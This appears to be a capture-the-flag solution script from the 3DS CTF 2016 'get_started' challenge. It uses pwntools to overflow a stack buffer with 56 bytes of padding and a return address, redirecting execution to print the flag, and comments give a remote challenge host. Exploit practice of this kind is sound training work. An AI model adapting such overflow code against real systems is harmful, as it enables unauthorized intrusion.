Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16

get_started_exploit_pwntools.py

## Buffer overflow using Pwntools to exploit rev200-get_started @ 3dsctf-2k16
# @author intrd - http://dann.com.br/
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

from pwn import *

context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32, log_level = 'debug')
#context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32)

binary = './get_started'
p = process(binary,stdin=process.PTY)

# Remote
# HOST = '54.175.35.248'
# PORT = 8005
# p = remote(HOST, PORT)

tex=p.recv(timeout=0.5)
print tex

overflow = "a"*56
addr = 0x080489b8 
overflow += p32(addr)

print("[*] sending overflow..")
p.sendline(overflow)
print("[*] done.")

flag = p.recvall()
print("[*] output: " + flag)
p.clean()
p.close()